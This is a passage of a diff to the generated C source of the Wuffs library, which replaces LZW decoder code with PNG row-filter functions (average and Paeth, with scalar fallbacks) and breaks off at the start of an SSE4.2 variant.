v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; + } ++ v_curr.len = 0; ++ } ++ } else { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- label__outer__break:; +- +- ok: +- self->private_impl.p_decode_trailer[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_trailer[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_lzw__error__bad_code[] = "#lzw: bad code"; +-const char wuffs_lzw__error__truncated_input[] = "#lzw: truncated input"; +-const char wuffs_lzw__error__internal_error_inconsistent_i_o[] = "#lzw: internal error: inconsistent I/O"; +- +-// ---------------- Private Consts +- +-#define WUFFS_LZW__QUIRKS_BASE 1348378624 +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes ++// -------- func png.decoder.filter_3_distance_4_fallback + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_lzw__decoder__read_from( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_lzw__decoder__write_to( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_dst); +- +-// ---------------- VTables +- +-const wuffs_base__io_transformer__func_ptrs +-wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer = { +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_lzw__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_lzw__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_lzw__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_lzw__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzw__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_lzw__decoder__initialize( +- wuffs_lzw__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++wuffs_png__decoder__filter_3_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; ++ uint8_t v_fa3 = 0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_fa3 = ((uint8_t)(((uint8_t)(v_fa3 / 2u)) + v_curr.ptr[3u])); ++ v_curr.ptr[3u] = v_fa3; ++ v_curr.ptr += 4; ++ } ++ v_curr.len = 0; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif + } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_fa3 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa3)) + ((uint32_t)(v_prev.ptr[3u]))) / 2u))) + v_curr.ptr[3u])); ++ v_curr.ptr[3u] = v_fa3; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer); +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_empty_struct(); + } + +-wuffs_lzw__decoder* +-wuffs_lzw__decoder__alloc(void) { +- wuffs_lzw__decoder* x = +- (wuffs_lzw__decoder*)(calloc(sizeof(wuffs_lzw__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_lzw__decoder__initialize( +- x, sizeof(wuffs_lzw__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} ++// -------- func png.decoder.filter_4 + +-size_t +-sizeof__wuffs_lzw__decoder(void) { +- return sizeof(wuffs_lzw__decoder); ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ return (*self->private_impl.choosy_filter_4)(self, a_curr, a_prev); + } + +-// ---------------- Function Implementations +- +-// -------- func lzw.decoder.get_quirk +- + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__get_quirk( +- const wuffs_lzw__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ uint64_t v_filter_distance = 0; ++ uint64_t v_n = 0; ++ uint64_t v_i = 0; ++ uint32_t v_fa = 0; ++ uint32_t v_fb = 0; ++ uint32_t v_fc = 0; ++ uint32_t v_pp = 0; ++ uint32_t v_pa = 0; ++ uint32_t v_pb = 0; ++ uint32_t v_pc = 0; + +- if (a_key == 1348378624u) { +- return ((uint64_t)(self->private_impl.f_pending_literal_width_plus_one)); ++ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); ++ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); ++ v_i = 0u; ++ while ((v_i < v_n) && (v_i < v_filter_distance)) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); ++ v_i += 1u; + } +- return 0u; ++ v_i = v_filter_distance; ++ while (v_i < v_n) { ++ v_fa = ((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])); ++ v_fb = ((uint32_t)(a_prev.ptr[v_i])); ++ v_fc = ((uint32_t)(a_prev.ptr[(v_i - v_filter_distance)])); ++ v_pp = ((uint32_t)(((uint32_t)(v_fa + v_fb)) - v_fc)); ++ v_pa = ((uint32_t)(v_pp - v_fa)); ++ if (v_pa >= 2147483648u) { ++ v_pa = ((uint32_t)(0u - v_pa)); ++ } ++ v_pb = ((uint32_t)(v_pp - v_fb)); ++ if (v_pb >= 2147483648u) { ++ v_pb = ((uint32_t)(0u - v_pb)); ++ } ++ v_pc = ((uint32_t)(v_pp - v_fc)); ++ if (v_pc >= 2147483648u) { ++ v_pc = ((uint32_t)(0u - v_pc)); ++ } ++ if ((v_pa <= v_pb) && (v_pa <= v_pc)) { ++ } else if (v_pb <= v_pc) { ++ v_fa = v_fb; ++ } else { ++ v_fa = v_fc; ++ } ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(v_fa)))); ++ v_i += 1u; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func lzw.decoder.set_quirk ++// -------- func png.decoder.filter_4_distance_3_fallback + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__set_quirk( +- wuffs_lzw__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint32_t v_fa0 = 0; ++ uint32_t v_fa1 = 0; ++ uint32_t v_fa2 = 0; ++ uint32_t v_fb0 = 0; ++ uint32_t v_fb1 = 0; ++ uint32_t v_fb2 = 0; ++ uint32_t v_fc0 = 0; ++ uint32_t v_fc1 = 0; ++ uint32_t v_fc2 = 0; ++ uint32_t v_pp0 = 0; ++ uint32_t v_pp1 = 0; ++ uint32_t v_pp2 = 0; ++ uint32_t v_pa0 = 0; ++ uint32_t v_pa1 = 0; ++ uint32_t v_pa2 = 0; ++ uint32_t v_pb0 = 0; ++ uint32_t v_pb1 = 0; ++ uint32_t v_pb2 = 0; ++ uint32_t v_pc0 = 0; ++ uint32_t v_pc1 = 0; ++ uint32_t v_pc2 = 0; + +- if (a_key == 1348378624u) { +- if (a_value > 9u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb0 = ((uint32_t)(v_prev.ptr[0u])); ++ v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); ++ v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); ++ if (v_pa0 >= 2147483648u) { ++ v_pa0 = ((uint32_t)(0u - v_pa0)); ++ } ++ v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); ++ if (v_pb0 >= 2147483648u) { ++ v_pb0 = ((uint32_t)(0u - v_pb0)); ++ } ++ v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); ++ if (v_pc0 >= 2147483648u) { ++ v_pc0 = ((uint32_t)(0u - v_pc0)); ++ } ++ if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { ++ } else if (v_pb0 <= v_pc0) { ++ v_fa0 = v_fb0; ++ } else { ++ v_fa0 = v_fc0; ++ } ++ v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); ++ v_fa0 = ((uint32_t)(v_curr.ptr[0u])); ++ v_fc0 = v_fb0; ++ v_fb1 = ((uint32_t)(v_prev.ptr[1u])); ++ v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); ++ v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); ++ if (v_pa1 >= 2147483648u) { ++ v_pa1 = ((uint32_t)(0u - v_pa1)); ++ } ++ v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); ++ if (v_pb1 >= 2147483648u) { ++ v_pb1 = ((uint32_t)(0u - v_pb1)); ++ } ++ v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); ++ if (v_pc1 >= 2147483648u) { ++ v_pc1 = ((uint32_t)(0u - v_pc1)); ++ } ++ if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { ++ } else if (v_pb1 <= v_pc1) { ++ v_fa1 = v_fb1; ++ } else { ++ v_fa1 = v_fc1; ++ } ++ v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); ++ v_fa1 = ((uint32_t)(v_curr.ptr[1u])); ++ v_fc1 = v_fb1; ++ v_fb2 = ((uint32_t)(v_prev.ptr[2u])); ++ v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); ++ v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); ++ if (v_pa2 >= 2147483648u) { ++ v_pa2 = ((uint32_t)(0u - v_pa2)); ++ } ++ v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); ++ if (v_pb2 >= 2147483648u) { ++ v_pb2 = ((uint32_t)(0u - v_pb2)); ++ } ++ v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); ++ if (v_pc2 >= 2147483648u) { ++ v_pc2 = ((uint32_t)(0u - v_pc2)); ++ } ++ if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { ++ } else if (v_pb2 <= v_pc2) { ++ v_fa2 = v_fb2; ++ } else { ++ v_fa2 = v_fc2; ++ } ++ v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); ++ v_fa2 = ((uint32_t)(v_curr.ptr[2u])); ++ v_fc2 = v_fb2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } +- self->private_impl.f_pending_literal_width_plus_one = ((uint32_t)(a_value)); +- return wuffs_base__make_status(NULL); ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func lzw.decoder.history_retain_length ++// -------- func png.decoder.filter_4_distance_4_fallback + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__history_retain_length( +- const wuffs_lzw__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func lzw.decoder.workbuf_len ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint32_t v_fa0 = 0; ++ uint32_t v_fa1 = 0; ++ uint32_t v_fa2 = 0; ++ uint32_t v_fa3 = 0; ++ uint32_t v_fb0 = 0; ++ uint32_t v_fb1 = 0; ++ uint32_t v_fb2 = 0; ++ uint32_t v_fb3 = 0; ++ uint32_t v_fc0 = 0; ++ uint32_t v_fc1 = 0; ++ uint32_t v_fc2 = 0; ++ uint32_t v_fc3 = 0; ++ uint32_t v_pp0 = 0; ++ uint32_t v_pp1 = 0; ++ uint32_t v_pp2 = 0; ++ uint32_t v_pp3 = 0; ++ uint32_t v_pa0 = 0; ++ uint32_t v_pa1 = 0; ++ uint32_t v_pa2 = 0; ++ uint32_t v_pa3 = 0; ++ uint32_t v_pb0 = 0; ++ uint32_t v_pb1 = 0; ++ uint32_t v_pb2 = 0; ++ uint32_t v_pb3 = 0; ++ uint32_t v_pc0 = 0; ++ uint32_t v_pc1 = 0; ++ uint32_t v_pc2 = 0; ++ uint32_t v_pc3 = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_lzw__decoder__workbuf_len( +- const wuffs_lzw__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb0 = ((uint32_t)(v_prev.ptr[0u])); ++ v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); ++ v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); ++ if (v_pa0 >= 2147483648u) { ++ v_pa0 = ((uint32_t)(0u - v_pa0)); ++ } ++ v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); ++ if (v_pb0 >= 2147483648u) { ++ v_pb0 = ((uint32_t)(0u - v_pb0)); ++ } ++ v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); ++ if (v_pc0 >= 2147483648u) { ++ v_pc0 = ((uint32_t)(0u - v_pc0)); ++ } ++ if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { ++ } else if (v_pb0 <= v_pc0) { ++ v_fa0 = v_fb0; ++ } else { ++ v_fa0 = v_fc0; ++ } ++ v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); ++ v_fa0 = ((uint32_t)(v_curr.ptr[0u])); ++ v_fc0 = v_fb0; ++ v_fb1 = ((uint32_t)(v_prev.ptr[1u])); ++ v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); ++ v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); ++ if (v_pa1 >= 2147483648u) { ++ v_pa1 = ((uint32_t)(0u - v_pa1)); ++ } ++ v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); ++ if (v_pb1 >= 2147483648u) { ++ v_pb1 = ((uint32_t)(0u - v_pb1)); ++ } ++ v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); ++ if (v_pc1 >= 2147483648u) { ++ v_pc1 = ((uint32_t)(0u - v_pc1)); ++ } ++ if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { ++ } else if (v_pb1 <= v_pc1) { ++ v_fa1 = v_fb1; ++ } else { ++ v_fa1 = v_fc1; ++ } ++ v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); ++ v_fa1 = ((uint32_t)(v_curr.ptr[1u])); ++ v_fc1 = v_fb1; ++ v_fb2 = ((uint32_t)(v_prev.ptr[2u])); ++ v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); ++ v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); ++ if (v_pa2 >= 2147483648u) { ++ v_pa2 = ((uint32_t)(0u - v_pa2)); ++ } ++ v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); ++ if (v_pb2 >= 2147483648u) { ++ v_pb2 = ((uint32_t)(0u - v_pb2)); ++ } ++ v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); ++ if (v_pc2 >= 2147483648u) { ++ v_pc2 = ((uint32_t)(0u - v_pc2)); ++ } ++ if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { ++ } else if (v_pb2 <= v_pc2) { ++ v_fa2 = v_fb2; ++ } else { ++ v_fa2 = v_fc2; ++ } ++ v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); ++ v_fa2 = ((uint32_t)(v_curr.ptr[2u])); ++ v_fc2 = v_fb2; ++ v_fb3 = ((uint32_t)(v_prev.ptr[3u])); ++ v_pp3 = ((uint32_t)(((uint32_t)(v_fa3 + v_fb3)) - v_fc3)); ++ v_pa3 = ((uint32_t)(v_pp3 - v_fa3)); ++ if (v_pa3 >= 2147483648u) { ++ v_pa3 = ((uint32_t)(0u - v_pa3)); ++ } ++ v_pb3 = ((uint32_t)(v_pp3 - v_fb3)); ++ if (v_pb3 >= 2147483648u) { ++ v_pb3 = ((uint32_t)(0u - v_pb3)); ++ } ++ v_pc3 = ((uint32_t)(v_pp3 - v_fc3)); ++ if (v_pc3 >= 2147483648u) { ++ v_pc3 = ((uint32_t)(0u - v_pc3)); ++ } ++ if ((v_pa3 <= v_pb3) && (v_pa3 <= v_pc3)) { ++ } else if (v_pb3 <= v_pc3) { ++ v_fa3 = v_fb3; ++ } else { ++ v_fa3 = v_fc3; ++ } ++ v_curr.ptr[3u] = ((uint8_t)(v_curr.ptr[3u] + ((uint8_t)(v_fa3)))); ++ v_fa3 = ((uint32_t)(v_curr.ptr[3u])); ++ v_fc3 = v_fb3; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func lzw.decoder.transform_io ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_1_distance_4_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__transform_io( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_i = 0; +- +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; + +- self->private_impl.f_literal_width = 8u; +- if 